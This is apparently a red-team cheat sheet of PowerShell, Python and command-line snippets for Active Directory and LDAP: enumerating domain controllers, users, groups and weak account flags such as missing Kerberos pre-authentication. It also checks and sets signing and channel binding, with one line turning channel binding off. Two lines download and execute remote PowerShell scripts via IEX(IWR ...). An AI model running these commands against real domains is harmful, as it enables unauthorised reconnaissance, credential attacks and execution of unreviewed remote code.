Resources

Cheat Sheet

Commands

  • Technical
    • Auth Methods
      • Extract
        import ldap3
        server = ldap3.Server('ldap://redteamrecipes.com', get_info=ldap3.ALL)
        connection = ldap3.Connection(server)
        connection.bind()
        print(connection.server.info.supported_sasl_mechanisms)
    • Decode UserAccount Control
      # Usage: DecodeUserAccountControl <UAC_VALUE>
      Function DecodeUserAccountControl ([int]$UAC)
      {
      	$UACPropertyFlags = @(
      		"SCRIPT",
      		"ACCOUNTDISABLE",
      		"RESERVED",
      		"HOMEDIR_REQUIRED",
      		"LOCKOUT",
      		"PASSWD_NOTREQD",
      		"PASSWD_CANT_CHANGE",
      		"ENCRYPTED_TEXT_PWD_ALLOWED",
      		"TEMP_DUPLICATE_ACCOUNT",
      		"NORMAL_ACCOUNT",
      		"RESERVED",
      		"INTERDOMAIN_TRUST_ACCOUNT",
      		"WORKSTATION_TRUST_ACCOUNT",
      		"SERVER_TRUST_ACCOUNT",
      		"RESERVED",
      		"RESERVED",
      		"DONT_EXPIRE_PASSWORD",
      		"MNS_LOGON_ACCOUNT",
      		"SMARTCARD_REQUIRED",
      		"TRUSTED_FOR_DELEGATION",
      		"NOT_DELEGATED",
      		"USE_DES_KEY_ONLY",
      		"DONT_REQ_PREAUTH",
      		"PASSWORD_EXPIRED",
      		"TRUSTED_TO_AUTH_FOR_DELEGATION",
      		"RESERVED",
      		"PARTIAL_SECRETS_ACCOUNT"
      		"RESERVED"
      		"RESERVED"
      		"RESERVED"
      		"RESERVED"
      		"RESERVED"
      	)
      	$Attributes = ""
      	1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
      	Return $Attributes
      }
    • Extensible Match Rules
      • LDAP_MATCHING_RULE_BIT_AND
        • Example
          # Find Disabled User Accounts
          ([adsisearcher]"(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=2))").FindAll()
      • LDAP_MATCHING_RULE_BIT_OR
        • Example
          # Find All Machine/Trust Accounts
          ([adsisearcher]"(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.804:=14336))").FindAll()
      • LDAP_MATCHING_RULE_IN_CHAIN
        • Example
          # Find Domain Admins
          $domainAdminsDN = "CN=Domain Admins,OU=NestedOU,OU=Groups,DC=RedteamRecipes,DC=com"
          ([adsisearcher]"(&(objectCategory=person)(memberOf:1.2.840.113556.1.4.1941:=$domainAdminsDN))").FindAll()
    • ObjectGUID to Bytes
      • Powershell
        $guid = [Guid]::New("f7c7a12c-708e-4761-a67f-a9d66e9e0a44")
        [System.BitConverter]::ToString($guid.ToByteArray()) -replace '-'
        • Example
          # 1. Get the user's Distinguished Name from the GUID
          $dn = ([adsisearcher]"(objectGUID=\2C\A1\C7\F7\8E\70\61\47\A6\7F\A9\D6\6E\9E\0A\44)").FindOne().Properties.distinguishedname
           
          # 2. Bind to the full object
          $user = [adsi]"LDAP://$dn"
           
          # 3. Display all properties
          $user.Properties.PropertyNames | ForEach-Object {
              $prop = $_
              $value = $user.Properties[$prop] -join ', '
              Write-Host "$prop : $value"
          }
      • Python
        #!/usr/bin/env python3
        import argparse
        import uuid
         
        def guid_to_ms_hex(guid_string):
            u = uuid.UUID(guid_string)
            b = u.bytes                # raw 16 bytes in big-endian
            # Reverse the first three fields (time_low, time_mid, time_hi_version)
            le = b[0:4][::-1] + b[4:6][::-1] + b[6:8][::-1]
            # Keep the last 8 bytes (clock_seq + node) as big-endian
            be = b[8:16]
            ms_bytes = le + be
            return ''.join(f'\\{x:02X}' for x in ms_bytes)
         
        def main():
            parser = argparse.ArgumentParser(description='Convert GUID to LDAP objectGUID escaped hex')
            parser.add_argument('-guid', required=True, help='Standard GUID (e.g., f7c7a12c-...)')
            args = parser.parse_args()
            print(guid_to_ms_hex(args.guid))
         
        if __name__ == '__main__':
            main()
    • Protections
      • LDAP siging
        • Linux
          • nxc
            nxc ldap 192.168.99.30
          • ldaprelayscan
            python3 LdapRelayScan.py -u fmoheb -p Password123#f -dc-ip 192.168.99.30 -method BOTH
        • Windows
          • Powershell
            # 0 = Disable , 1 = Negotiated , 2 = Required
            Get-ItemPropertyValue -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity"
             
            Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 2 -Type DWord
      • Channel Binding
        • Linux
          • nxc
            nxc ldap 192.168.99.30
        • Windows
          • Powershell
            # 0 = Disable , 1 = Supported , 2 = Always Requried 
            Get-ItemPropertyValue -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding"
             
            Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding" -Value 0 -Type DWord
      • LDAPS
        • Check
          openssl s_client -host 192.168.99.30 -port 636
    • Logging
      • Enable
        # 1. Crank the Field Engineering diagnostics level up to 5
        Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Diagnostics" -Name "15 Field Engineering" -Value 5 -Type DWord
         
        # 2. Drop the Expensive Search threshold to 1 (Log almost everything)
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "Expensive Search Results Threshold" -Value 1 -Type DWord
         
        # 3. Drop the Inefficient Search threshold to 1 (Log almost everything)
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "Inefficient Search Results Threshold" -Value 1 -Type DWord
         
         
        Get-WinEvent -LogName "Directory Service" | Where-Object {$_.Id -eq 1644} | Select-Object -First 5 | Format-List Message
  • Enumeration
    • GC hunt
      • Port Scanning
        nmap -p 3268,3269 192.168.99.0/24
      • Dns
        nslookup -type=SRV _gc._tcp.redteamrecipes.com
        nslookup -type=SRV _gc._tcp.redteamrecipes.com 192.168.99.30
      • Tools
        • PowerView
          Get-ForestGlobalCatalog
    • FSMO rules
      • LOL
        netdom query fsmo # netdom rarely on Workstations
         
        ([ADSI]"LDAP://DC=sales,DC=redteamrecipes,DC=com").fSMORoleOwner
      • Tools
        • Powerview
          Get-Forest | Select-Object SchemaRoleOwner, NamingRoleOwner
          Get-Domain | Select-Object PdcRoleOwner, RidRoleOwner, InfrastructureRoleOwner
    • RootDSE
      • LOL
        $RootDSE = [ADSI]"LDAP://192.168.99.30/RootDSE"
        $RootDSE | Format-List *
         
        dsquery * -s 192.168.99.30 -scope base -attr *
      • ldapsearch
        ldapsearch -H ldap://192.168.99.30 -x -s base -b "" "*" "+"
  • Offensive
    • Tools Installation
      • RSAT
        # Personally don't recommned to use so loud and need administrator access to be installed on the workstation 
         
        Get-WindowsCapability -Name RSAT* -Online | select Name,State
        Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online
         
        Get-WindowsFeature | ? {$_.Name -match "RSAT"}
        Add-WindowsFeature RSAT-AD-PowerShell
      • ADModule
        IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
        Import-ActiveDirectory
         
        IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)
    • Computers
      • Enumeration
        • AdFind
          .\AdFind.exe -f "objectcategory=computer"
        • Get-ADObject
          • Counting
            (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
    • Users
      • Enum
        • ADFind
          .\AdFind.exe -f "(&(objectCategory=user)(sAMAccountName=fmoheb))" 
        • ADSI
          $Searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"
          $Users = $Searcher.FindAll()
          # Display the account names
          $Users.Properties.samaccountname
        • ADModule
          • Counting
            (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
      • Disabled Users
        • ADModule
          Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName
      • DoesNotRequirePreAuth
        • ADModule
          Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
      • TRUSTED_FOR_DELEGATION
        • ADModule
          Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
           
          Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl
      • Users with description
        • ADModule
          # Lazy administrators frequently flip this flag on service accounts so they can set a simple password (like `CompanyName2026`), not a blank one.
          Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description
      • PASSWD_NOTREQD
        • ADModule
          Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl
    • Groups
      • ADModule
        • Count Groups
          (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
        • Group Users
          Get-ADGroupMember "Netsted Group" -Recursive
        • User Groups
          Get-ADPrincipalGroupMembership fmoheb | select name
          • Nested Groups
            Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=fady moheb,CN=Users,DC=RedteamRecipes,DC=com)' | select name
            • TokenGroups
              # 1. Grab the exact Distinguished Name
              $DN = (Get-ADUser fmoheb).DistinguishedName
               
              # 2. Force a Base Search using Get-ADObject to trigger the calculation
              $User = Get-ADObject -Identity $DN -Properties tokenGroups
               
              # 3. Translate the binary SIDs back into human-readable group names
              $User.tokenGroups | ForEach-Object { (Get-ADGroup $_).Name }
      • ADSI
        • Nested Groups
          # 1. Use the native ADSI Searcher to find the user
          $Searcher = [adsisearcher]"(sAMAccountName=fmoheb)"
          $UserResult = $Searcher.FindOne()
           
          # 2. Bind to the physical DirectoryEntry object
          $UserEntry = $UserResult.GetDirectoryEntry()
           
          # 3. Force the Domain Controller to calculate the constructed attribute
          $UserEntry.RefreshCache(@("tokenGroups"))
           
          # 4. Iterate through the raw byte arrays and translate them to readable names
          foreach ($RawSid in $UserEntry.tokenGroups) {
          	# Convert the raw byte array into a proper Windows SID object
          	$SID = New-Object System.Security.Principal.SecurityIdentifier($RawSid, 0)
          	
          	try {
          		# Translate the SID to an NTAccount (Domain\Group Name)
          		$GroupName = $SID.Translate([System.Security.Principal.NTAccount]).Value
          		Write-Output $GroupName
          	}
          	catch {
          		# If a SID cannot be resolved (e.g., deleted group), it catches the error and just prints the SID
          		Write-Output "Unresolved SID: $($SID.Value)"
          	}
          }

Tools

Notes

Later 2 Read